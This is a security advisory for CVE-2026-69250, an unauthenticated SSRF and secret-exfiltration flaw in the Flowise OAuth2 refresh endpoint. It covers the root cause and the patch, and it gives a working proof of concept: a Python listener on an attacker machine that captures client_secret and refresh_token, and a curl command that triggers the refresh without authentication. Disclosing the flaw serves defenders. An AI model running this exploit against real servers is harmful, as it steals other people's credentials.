CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh SSRF and Secret Exfiltration
Anyone on the internet can trigger Flowise's OAuth2 token-refresh endpoint without logging in, causing the server to POST credential secrets to an attacker-controlled URL and echo the full response…

The problem
Flowise <= 3.1.2 includes /api/v1/oauth2-credential/refresh in its public auth whitelist. The auth middleware matches prefixes, so /api/v1/oauth2-credential/refresh/:credentialId is fully unauthenticated.
The refresh handler decrypts the stored credential, reads the caller-controlled accessTokenUrl field, and fires an outbound axios.post() to that URL with no SSRF denylist applied. The full response body is then returned to the caller inside tokenInfo. The POST body sent to the attacker server includes client_id, client_secret, grant_type=refresh_token, and refresh_token, making this a non-blind SSRF with direct secret exfiltration.
Proof of concept
A working proof-of-concept for CVE-2026-69250 in flowise, with the exact payload below.
# Step 1: start a listener on attacker machine
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_BODY', b, flush=True) # captures client_secret + refresh_token
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server'}).encode())
def log_message(self, fmt, *args): pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
# Step 2: trigger refresh with NO auth headers
# credentialId must belong to an OAuth2 credential whose
# accessTokenUrl was set to the attacker server (done once, with any authed account)
curl -i -X POST \
http://TARGET:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
# Observed response (no auth required):
# {
# "success": true,
# "tokenInfo": { "ok": true, "source": "attacker-server", "has_new_refresh_token": false }
# }
# Attacker server receives:
# REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2Root cause is CWE-639 (Authorization Bypass Through User-Controlled Key) combined with CWE-918 (SSRF). The auth middleware does a startsWith prefix match against the whitelist; adding /api/v1/oauth2-credential/refresh to that list unintentionally covers every credential ID beneath it.
The refresh handler then reads accessTokenUrl straight from decrypted credential storage and passes it to axios.post() without going through secureAxiosRequest() or any denylist check, so the attacker fully controls the outbound target and sees the response.
The patch at commit da8b251 removes the refresh path from the whitelist and gates it behind standard JWT authentication, matching how all other credential-mutating routes are protected.
The fix
Upgrade to flowise 3.1.3 (commit da8b251a9a4c59484ceaf6f71df7406aede7bef2). The fix removes /api/v1/oauth2-credential/refresh from the public whitelist, requiring a valid authenticated session to call the endpoint. If an immediate upgrade is not possible, block unauthenticated external access to /api/v1/oauth2-credential/ at the network or reverse-proxy layer.
Related research
- criticalCVE-2026-69253CVE-2026-69253: Flowise vm2 Sandbox Escape to RCE via moment locale Injection
- highCVE-2026-69252CVE-2026-69252: Flowise Missing Authorization on File Management API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1@better-auth/stripe: Cross-Organization Billing Authorization Bypass